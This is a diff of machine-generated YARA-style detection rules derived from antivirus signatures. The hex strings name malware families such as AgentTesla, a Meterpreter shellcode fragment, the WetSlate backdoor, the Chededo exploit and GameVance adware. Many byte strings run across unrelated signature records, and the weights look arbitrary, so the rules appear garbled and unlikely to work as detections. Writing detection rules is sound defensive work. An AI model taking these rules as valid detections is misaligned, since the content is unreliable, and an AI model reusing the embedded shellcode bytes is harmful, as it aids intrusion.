03 00 34 03 0c 08 06 6f 90 01 03 0a 08 07 6f 90 01 03 0a 08 6f 90 01 03 0a 02 16 02 8e 69 6f 90 01 03 0a 0d dd 90 } //21539 + $a_03_2 = {00 } //-28615 condition: - ((#a_4c_0 & 1)*21539+(#a_4f_1 & 1)*18501) >=5 + ((#a_4c_0 & 1)*21539+(#a_03_2 & 1)*-28615) >=5 } -rule _InfrastructureShared_9246{ +rule _InfrastructureShared_9826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -99200,7 +105524,7 @@ rule _InfrastructureShared_9246{ ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*28494+(#a_78_2 & 1)*25710+(#a_6f_3 & 1)*11892) >=5 } -rule _InfrastructureShared_9247{ +rule _InfrastructureShared_9827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -99213,7 +105537,7 @@ rule _InfrastructureShared_9247{ ((#a_41_0 & 1)*20515+(#a_75_1 & 1)*384+(#a_01_2 & 1)*29554+(#a_74_3 & 1)*30063) >=5 } -rule _InfrastructureShared_9248{ +rule _InfrastructureShared_9828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -99227,7 +105551,7 @@ rule _InfrastructureShared_9248{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*28769+(#a_3a_2 & 1)*21587+(#a_61_3 & 1)*385+(#a_63_4 & 1)*18720) >=5 } -rule _InfrastructureShared_9249{ +rule _InfrastructureShared_9829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -99241,7 +105565,7 @@ rule _InfrastructureShared_9249{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*-32498+(#a_65_2 & 1)*25953+(#a_72_3 & 1)*17184+(#a_73_4 & 1)*28483) >=5 } -rule _InfrastructureShared_9250{ +rule _InfrastructureShared_9830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -99255,7 +105579,7 @@ rule _InfrastructureShared_9250{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29541+(#a_6e_2 & 1)*26625+(#a_21_3 & 1)*11892+(#a_6c_4 & 1)*30064) >=5 } -rule _InfrastructureShared_9251{ +rule _InfrastructureShared_9831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -99270,7 +105594,7 @@ rule _InfrastructureShared_9251{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_8a_5 & 1)*0) >=5 } -rule _InfrastructureShared_9252{ +rule _InfrastructureShared_9832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -99282,7 +105606,7 @@ rule _InfrastructureShared_9252{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28793+(#a_69_2 & 1)*17152) >=6 } -rule _InfrastructureShared_9253{ +rule _InfrastructureShared_9833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -99295,7 +105619,7 @@ rule _InfrastructureShared_9253{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25705+(#a_47_2 & 1)*31043+(#a_2e_3 & 1)*30068) >=6 } -rule _InfrastructureShared_9254{ +rule _InfrastructureShared_9834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -99308,36 +105632,46 @@ rule _InfrastructureShared_9254{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29795+(#a_74_2 & 1)*21325+(#a_00_4 & 1)*0) >=6 } -rule _InfrastructureShared_9255{ +rule _InfrastructureShared_9835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_46_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 4d 53 65 74 75 70 2e 50 50 30 36 00 01 00 0a 80 01 4d 75 6c 74 69 53 65 74 75 70 01 00 06 80 01 6f 66 66 65 72 73 01 00 0a 80 01 6f 66 66 65 72 4d 61 74 63 68 01 00 0c 80 01 41 } //16675 $a_66_1 = {72 41 76 61 73 74 01 00 0c 80 01 41 56 4f 66 66 65 72 4f 70 65 72 61 01 00 0f 80 01 6d 75 6c 74 69 5f 73 65 74 75 70 2e 70 64 62 00 00 78 8a 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 47 32 34 21 4d 54 42 00 01 00 0a 81 01 47 } //20310 - $a_53_2 = {72 65 61 6d 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 0c 81 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 01 00 0f 81 01 44 69 73 70 6f 73 65 57 69 6e 50 61 6e 65 6c 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 07 81 01 54 6f 41 72 72 61 79 00 00 78 8a 00 00 07 00 07 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 } //26970 - $a_64_3 = {72 2e 53 55 49 36 30 00 02 00 0d 81 01 6d 69 73 63 75 6c 74 69 76 61 74 65 64 02 00 12 81 01 6a 61 65 76 6e 66 6f 65 72 20 6a 6f 63 75 6e 64 72 79 01 00 0b 81 01 4c 6f 61 64 42 69 74 6d 61 70 57 01 00 0d 81 01 4f 70 65 6e 43 6c 69 70 62 6f 61 72 64 01 00 0f 81 01 53 68 65 6c 6c 45 78 65 63 } //28524 - $a_45_4 = {57 00 00 78 8a 00 00 09 00 09 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 65 74 65 72 70 72 65 74 65 72 21 41 70 69 52 65 74 72 69 65 76 61 6c 00 01 00 07 01 64 8b 52 30 8b 52 0c 01 00 04 01 3c 61 7c 0f 01 00 05 01 c1 cf 0d 01 c7 01 00 07 01 57 8b 52 10 8b 42 3c 01 00 05 01 01 d0 8b 40 78 01 00 } //29813 - $a_b7_5 = {26 01 00 05 01 8b 34 8b 01 d6 01 00 06 01 31 } //260 + $a_53_2 = {72 65 61 6d 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 0c 81 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 01 00 0f 81 01 44 69 73 70 6f 73 65 57 69 6e 50 61 6e 65 6c 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 07 81 01 54 6f 41 72 72 61 79 00 00 78 8a 00 00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e } //26970 + $a_73_3 = {61 2e 52 4c 41 53 21 4d 54 42 00 02 00 18 01 11 07 11 0a 08 11 05 11 0a 58 95 9e 11 0a 17 58 13 0a 11 0a 1f 10 32 e8 05 00 3c 01 d2 9c 11 08 11 06 25 17 58 13 06 11 0c 1f 10 64 d2 9c 11 08 11 06 25 17 58 13 06 11 0c 1f 18 64 d2 9c 09 11 0b 8f 09 00 00 01 25 4b 11 0c 61 54 11 0b 17 58 13 0b 11 0b 1f 10 } //21620 condition: - ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*20310+(#a_53_2 & 1)*26970+(#a_64_3 & 1)*28524+(#a_45_4 & 1)*29813+(#a_b7_5 & 1)*260) >=6 + ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*20310+(#a_53_2 & 1)*26970+(#a_73_3 & 1)*21620) >=6 } -rule _InfrastructureShared_9256{ +rule _InfrastructureShared_9836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 47 32 34 21 4d 54 42 00 01 00 0a 81 01 47 5a 69 70 53 74 72 65 61 6d 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 0c 81 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 01 00 } //18467 $a_44_1 = {73 } //-32497 s - $a_65_2 = {69 6e 50 61 6e 65 6c 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 07 81 01 54 6f 41 72 72 61 79 00 00 78 8a 00 00 07 00 07 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 55 49 36 30 00 02 00 0d 81 01 6d 69 73 63 75 6c 74 69 76 61 74 65 64 02 00 12 81 01 6a 61 65 76 6e 66 6f 65 72 20 6a 6f 63 75 6e } //28528 - $a_01_3 = {00 0b 81 01 4c 6f 61 64 42 69 74 6d 61 70 57 01 00 0d 81 01 4f 70 65 6e 43 6c 69 70 62 6f 61 72 64 01 00 0f 81 01 53 68 65 6c 6c 45 78 65 63 75 74 65 45 78 57 00 00 78 8a 00 00 09 00 09 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 65 74 65 72 70 72 65 74 65 72 21 41 70 69 52 65 74 72 69 65 76 61 6c 00 01 00 07 01 64 8b 52 30 8b 52 0c 01 00 04 01 3c 61 7c } //29284 - $a_0d_5 = {01 c7 01 00 07 01 57 8b 52 10 8b 42 3c 01 00 05 01 01 d0 8b 40 78 01 00 04 01 0f b7 4a 26 01 00 05 01 8b 34 8b 01 d6 01 00 06 01 31 c0 ac c1 cf 0d 01 00 05 01 37 df 8b 7d 24 01 00 04 01 58 8b 58 24 00 00 78 8a 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 4f 21 4d 54 42 00 0a 00 57 02 13 14 16 13 15 2b 90 01 01 11 14 11 15 9a 13 16 00 11 16 28 90 01 04 6f 90 01 04 13 17 11 17 2c 02 2b 29 11 16 6f 90 01 04 13 19 12 19 16 28 90 01 04 13 18 11 18 2c 02 2b 10 09 11 16 28 90 01 04 d2 6f 90 01 04 00 00 11 15 17 58 13 15 11 15 11 14 8e 69 32 90 } //-16127 + $a_65_2 = {69 6e 50 61 6e 65 6c 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 07 81 01 54 6f 41 72 72 61 79 00 00 78 8a 00 00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 4c 41 53 21 4d 54 42 00 02 00 18 01 11 07 11 0a 08 11 05 11 0a 58 95 9e 11 0a 17 58 13 0a 11 0a 1f 10 32 e8 05 00 3c 01 d2 9c 11 } //28528 + $a_25_3 = {58 13 06 11 0c 1f } //4360 ፘᄆἌ + $a_9c_4 = {08 11 06 25 17 58 13 06 11 0c 1f 18 64 d2 9c 09 11 0b 8f 09 00 00 01 25 4b 11 0c 61 54 11 0b 17 58 13 0b 11 0b 1f 10 32 a3 00 00 78 8a 00 00 07 00 07 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 55 49 36 30 00 02 00 0d 81 01 6d 69 73 63 75 6c 74 69 76 61 74 65 64 02 00 12 81 01 6a 61 65 76 6e 66 6f 65 72 20 6a 6f 63 75 6e 64 72 79 01 00 0b 81 01 4c 6f 61 64 42 69 74 6d 61 70 57 01 00 0d 81 01 4f 70 65 6e 43 6c 69 70 62 6f 61 72 64 01 00 0f 81 01 53 68 65 6c 6c 45 78 65 63 75 74 65 45 78 57 00 00 78 8a 00 00 09 00 09 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 65 } //25616 + $a_70_5 = {65 74 65 72 21 41 70 69 52 65 74 72 69 65 76 61 6c 00 01 00 07 01 64 8b 52 30 8b 52 0c 01 00 04 01 3c 61 7c 0f 01 00 05 01 c1 cf 0d 01 c7 01 00 07 01 57 8b 52 10 8b 42 3c 01 00 05 01 01 d0 8b 40 78 01 00 04 01 0f b7 4a 26 01 00 05 01 8b 34 8b 01 d6 01 00 06 01 31 c0 ac c1 cf 0d 01 00 05 01 37 df 8b 7d 24 01 00 04 01 58 8b 58 24 00 00 78 8a } //25972 condition: - ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*-32497+(#a_65_2 & 1)*28528+(#a_01_3 & 1)*29284+(#a_0d_5 & 1)*-16127) >=6 + ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*-32497+(#a_65_2 & 1)*28528+(#a_25_3 & 1)*4360+(#a_9c_4 & 1)*25616+(#a_70_5 & 1)*25972) >=6 } -rule _InfrastructureShared_9257{ +rule _InfrastructureShared_9837{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 4c 41 53 21 4d 54 42 00 02 00 18 01 11 07 11 0a 08 11 05 11 0a 58 95 9e 11 0a 17 58 13 0a 11 0a 1f 10 32 e8 05 00 3c 01 d2 9c 11 08 11 } //21539 + $a_58_1 = {06 11 0c 1f 10 64 d2 9c 11 08 11 06 25 17 58 13 06 11 0c 1f 18 64 d2 } //9478 + condition: + ((#a_4c_0 & 1)*21539+(#a_58_1 & 1)*9478) >=7 + +} +rule _InfrastructureShared_9838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -99351,7 +105685,7 @@ rule _InfrastructureShared_9257{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28769+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=7 } -rule _InfrastructureShared_9258{ +rule _InfrastructureShared_9839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 21 " @@ -99368,7 +105702,7 @@ rule _InfrastructureShared_9258{ ((#a_54_0 & 1)*18467+(#a_4a_1 & 1)*3841+(#a_52_4 & 1)*21320+(#a_2b_5 & 1)*11287+(#a_04_6 & 1)*-28632+(#a_04_7 & 1)*5395+(#a_32_8 & 1)*-29166+(#a_59_9 & 1)*27140) >=9 } -rule _InfrastructureShared_9259{ +rule _InfrastructureShared_9840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -99378,7 +105712,7 @@ rule _InfrastructureShared_9259{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_9260{ +rule _InfrastructureShared_9841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -99388,7 +105722,7 @@ rule _InfrastructureShared_9260{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_9261{ +rule _InfrastructureShared_9842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -99399,48 +105733,87 @@ rule _InfrastructureShared_9261{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28619) >=11 } -rule _InfrastructureShared_9262{ +rule _InfrastructureShared_9843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 76 65 4d 61 72 69 61 2e 4e 45 46 46 21 4d 54 42 00 05 00 24 01 61 30 63 30 31 39 38 30 2d 39 33 38 37 2d 34 63 34 39 2d 39 39 61 63 2d 30 33 37 34 36 35 63 39 64 65 32 33 02 00 0a 01 47 00 } //16675 $a_00_1 = {7a 00 6f 00 02 00 10 01 77 00 33 00 77 00 70 00 2e 00 65 00 78 00 65 00 02 00 10 01 51 57 35 76 62 6e 6c 74 62 33 56 7a 53 55 51 3d 00 00 78 8a 00 00 0c 00 0c 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 32 4c 6f 70 2e 46 00 0a 00 24 00 4d 69 63 72 6f 73 6f 66 74 } //121 - $a_73_2 = {61 6c 20 43 2b 2b 20 52 75 6e 74 69 6d 65 20 4c 69 62 72 61 72 79 01 00 0b 02 0f b7 07 8b 90 09 02 00 01 90 00 01 00 0b 02 83 c4 04 81 c5 90 01 04 e9 90 00 01 00 0b 02 46 00 81 e6 ff 90 01 03 89 90 00 01 00 0d 02 00 ff d2 8d 0d 90 09 05 00 89 15 90 00 00 00 78 8a 00 00 16 00 15 00 05 00 21 23 41 64 77 61 72 65 3a } //22048 - $a_33_3 = {2f 47 61 6d 65 56 61 6e 63 65 00 0a 00 24 02 47 61 6d 65 76 61 6e 63 65 90 02 04 2e 44 4c 4c 90 02 02 44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 90 00 0a 00 0e 00 2e 67 61 6d 65 76 61 6e 63 65 2e 63 6f 6d 01 00 05 00 5c 67 76 74 6c 01 00 0d 00 37 32 2e 32 33 32 2e 34 33 2e 32 32 36 01 00 11 00 35 74 68 72 65 76 6f 6c 75 74 69 } //26967 + $a_73_2 = {61 6c 20 43 2b 2b 20 52 75 6e 74 69 6d 65 20 4c 69 62 72 61 72 79 01 00 0b 02 0f b7 07 8b 90 09 02 00 01 90 00 01 00 0b 02 83 c4 04 81 c5 90 01 04 e9 90 00 01 00 0b 02 46 00 81 e6 ff 90 01 03 89 90 00 01 00 0d 02 00 ff d2 8d 0d 90 09 05 00 89 15 90 00 00 00 78 8a 00 00 0d 00 0d 00 04 00 21 23 41 4c 46 3a 45 78 70 } //22048 + $a_74_3 = {57 69 6e 33 32 2f 43 68 65 64 65 64 6f 00 01 00 0c 01 44 33 44 4b 4d 54 45 73 63 61 70 65 01 00 1a 01 44 33 44 4b 4d 54 43 72 65 61 74 65 43 6f 6e 74 65 78 74 56 69 72 74 75 61 6c 01 00 13 01 44 33 44 4b 4d 54 53 75 62 6d 69 74 43 6f 6d 6d 61 6e 64 0a 00 1d 03 c7 07 07 00 00 00 c7 47 18 00 10 00 00 90 02 20 48 89 } //28524 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*121+(#a_73_2 & 1)*22048+(#a_33_3 & 1)*26967) >=11 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*121+(#a_73_2 & 1)*22048+(#a_74_3 & 1)*28524) >=11 } -rule _InfrastructureShared_9263{ +rule _InfrastructureShared_9844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 32 4c 6f 70 2e 46 00 0a 00 24 00 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 2b 2b 20 52 75 6e 74 69 6d 65 20 4c 69 62 72 61 72 79 01 00 0b 02 0f b7 07 8b 90 09 02 00 01 90 00 01 00 0b 02 83 c4 } //18467 - $a_90_1 = {04 e9 90 00 01 00 0b 02 46 00 81 e6 ff 90 01 03 89 90 00 01 00 0d 02 00 ff d2 8d 0d 90 09 05 00 89 15 90 00 00 00 78 8a 00 00 16 00 15 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 0a 00 24 02 47 61 6d 65 76 61 6e 63 65 90 02 04 2e 44 4c 4c 90 02 02 44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 90 00 0a 00 0e 00 2e 67 61 6d 65 76 61 6e 63 65 2e 63 6f 6d 01 00 05 00 5c 67 76 74 6c 01 00 0d 00 37 32 2e 32 33 32 2e 34 33 2e 32 32 36 01 00 11 00 35 74 68 72 65 76 6f 6c 75 74 69 6f 6e 2e 63 6f 6d 00 00 78 8a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 } //-32508 - $a_61_2 = {6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 74 61 79 45 67 67 2e 41 21 64 68 61 00 64 00 3d 01 75 73 61 67 65 3a 20 25 73 20 5b 70 64 66 31 5f 70 61 74 68 5d 20 5b 70 64 66 32 5f 70 61 74 68 5d 20 5b 73 63 72 69 70 74 5f } //14930 - $a_6b_3 = {20 5b 74 61 72 67 65 74 5f 70 61 74 68 5d 64 00 17 01 2d 2d 72 65 73 75 6c 74 3a 20 20 20 20 20 73 75 63 63 65 73 73 65 64 00 00 78 8a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 57 61 6c 6c 79 4c 6f 61 64 2e 41 21 64 68 61 00 64 00 20 03 b8 4d 5a 00 00 66 39 01 } //26988 - $a_01_4 = {04 48 63 90 01 01 3c 48 90 02 02 08 01 00 00 48 3b d0 90 00 64 00 2d 01 55 6c 74 72 61 56 4e 43 2e 56 69 65 77 65 72 2e 46 69 6c 65 54 72 61 6e 73 66 65 72 53 65 6e 64 50 61 63 6b 65 74 4d 65 73 73 61 67 65 00 00 78 8b 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 6e 79 2e 53 59 21 4d 54 42 00 01 00 60 03 83 c0 01 89 45 90 01 01 8b 4d 90 01 01 8b 55 90 01 01 3b 51 90 01 01 73 90 01 01 8b } //-31473 + $a_90_1 = {04 e9 90 00 01 00 0b 02 46 00 81 e6 ff 90 01 03 89 90 00 01 00 0d 02 00 ff d2 8d 0d 90 09 05 00 89 15 90 00 00 00 78 8a 00 00 0d 00 0d 00 04 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 68 65 64 65 64 6f 00 01 00 0c 01 44 33 44 4b 4d 54 45 73 63 61 70 65 01 00 1a 01 44 33 44 4b 4d 54 43 72 65 61 74 65 43 6f 6e 74 65 78 74 56 69 72 74 75 61 6c 01 00 13 01 44 33 44 4b 4d 54 53 75 62 6d 69 74 43 6f 6d 6d 61 6e 64 0a 00 1d 03 c7 07 07 00 00 00 c7 47 18 00 10 00 00 90 02 20 48 89 7c 24 90 02 10 30 00 00 00 90 00 00 00 78 8a 00 00 0e 00 0e 00 05 00 21 23 41 4c 46 3a 42 } //-32508 + $a_64_2 = {6f 72 3a 57 69 6e 36 34 2f 57 65 74 53 6c 61 74 65 2e 41 21 64 68 61 00 0a 00 0e 01 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 01 00 11 01 6d 61 69 6e 2e 6c 6f 61 64 43 6f 6d 6d 61 6e 64 73 01 00 12 01 6d 61 69 6e 2e 73 65 6e 64 48 65 61 72 74 62 65 61 74 01 00 11 01 6d 61 69 6e 2e 61 64 64 54 6f 53 74 61 72 74 75 70 01 } //25441 + $a_6d_3 = {69 } //2048 i + $a_70_4 = {00 00 78 8a 00 00 16 00 15 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 0a 00 24 02 47 61 6d 65 76 61 6e 63 65 90 02 04 2e 44 4c 4c 90 02 02 44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 90 00 0a 00 0e 00 2e 67 61 6d 65 76 61 6e 63 65 2e 63 6f 6d 01 00 05 00 5c 67 } //11886 condition: - ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-32508+(#a_61_2 & 1)*14930+(#a_6b_3 & 1)*26988+(#a_01_4 & 1)*-31473) >=12 + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-32508+(#a_64_2 & 1)*25441+(#a_6d_3 & 1)*2048+(#a_70_4 & 1)*11886) >=12 } -rule _InfrastructureShared_9264{ +rule _InfrastructureShared_9845{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 68 65 64 65 64 6f 00 01 00 0c 01 44 33 44 4b 4d 54 45 73 63 61 70 65 01 00 1a 01 44 33 44 4b 4d 54 43 72 65 61 74 65 43 6f 6e 74 65 78 74 56 69 72 74 75 61 6c 01 00 13 01 44 33 44 4b } //16675 + $a_75_1 = {6d 69 74 43 6f 6d 6d 61 6e 64 0a 00 1d 03 c7 07 07 00 00 00 c7 47 18 00 10 00 00 90 02 20 48 89 7c 24 90 02 10 30 00 00 00 90 00 00 00 78 8a 00 00 0e 00 0e 00 05 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 57 65 74 53 6c 61 74 } //21581 + $a_21_2 = {68 61 00 0a 00 0e 01 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 01 00 11 01 6d 61 69 6e 2e 6c 6f 61 64 43 6f 6d 6d 61 6e 64 73 01 00 12 01 6d 61 69 6e 2e 73 65 6e 64 48 65 61 72 74 62 65 61 74 01 } //11877 + $a_6d_3 = {69 } //4352 i + condition: + ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*21581+(#a_21_2 & 1)*11877+(#a_6d_3 & 1)*4352) >=13 + +} +rule _InfrastructureShared_9846{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 57 65 74 53 6c 61 74 65 2e 41 21 64 68 61 00 0a 00 0e 01 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 01 00 11 01 6d 61 69 6e 2e 6c 6f 61 64 43 6f 6d 6d 61 6e 64 73 01 00 12 01 6d 61 69 } //16675 + $a_65_1 = {64 48 65 61 72 74 62 65 61 74 01 00 11 01 6d 61 69 6e 2e 61 64 64 54 6f 53 74 61 72 74 75 70 01 00 08 01 6d 61 69 6e 2e 65 70 63 00 00 78 8a 00 00 16 00 15 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 0a 00 24 02 47 61 6d 65 76 61 6e 63 65 90 02 04 2e 44 4c 4c 90 02 02 44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 } //11886 + $a_90_2 = {0a 00 0e 00 2e 67 61 6d 65 76 61 6e 63 65 2e 63 6f 6d 01 00 05 00 5c 67 76 74 6c 01 00 0d 00 37 32 2e 32 33 32 2e 34 33 2e 32 32 36 01 00 11 00 35 74 68 72 65 76 6f 6c 75 74 69 6f 6e 2e 63 6f 6d 00 00 78 8a 00 00 23 00 23 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 4c 4d 49 21 4d 54 42 00 14 00 1c 01 48 8b 15 71 ee 03 } //28494 + $a_c1_3 = {ca 48 33 15 b5 24 04 00 83 e1 3f 48 d3 ca 48 85 d2 0a 00 12 01 48 8b 35 df ef 03 00 8b ce 83 e1 3f 48 33 37 48 d3 ce 05 00 28 01 cc cc 48 89 7c 24 08 48 8d 3d 04 28 04 00 48 8d 05 0d 29 04 00 48 3b c7 48 8b 05 e3 f2 03 00 48 1b c9 48 f7 d1 83 e1 22 00 00 78 8a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 74 61 79 45 67 67 2e 41 21 64 68 61 00 64 00 3d 01 75 73 } //19456 + $a_3a_4 = {25 73 20 5b 70 64 66 31 5f 70 61 74 68 5d 20 5b 70 64 66 32 5f 70 61 74 68 5d 20 5b 73 63 72 69 70 74 5f 6c 69 6e 6b 5d 20 5b 74 61 72 67 65 74 5f 70 61 74 68 5d 64 00 17 01 2d 2d 72 65 73 75 6c 74 3a 20 20 20 20 20 73 75 63 63 65 73 73 65 64 00 00 78 8a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 } //26465 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*11886+(#a_90_2 & 1)*28494+(#a_c1_3 & 1)*19456+(#a_3a_4 & 1)*26465) >=14 + +} +rule _InfrastructureShared_9847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 15 00 05 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 0a 00 24 02 47 61 6d 65 76 61 6e 63 65 90 02 04 2e 44 4c 4c 90 02 02 44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 90 00 0a 00 0e 00 2e 67 61 6d 65 76 61 6e 63 65 2e 63 6f 6d 01 00 05 00 5c 67 76 74 6c 01 00 0d 00 37 32 2e 32 33 32 2e 34 33 2e } //16675 - $a_01_1 = {00 11 00 35 74 68 72 65 76 6f 6c 75 74 69 6f 6e 2e 63 6f 6d 00 00 78 8a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 } //12850 - $a_74_2 = {79 45 67 67 2e 41 21 64 68 61 00 64 00 3d 01 75 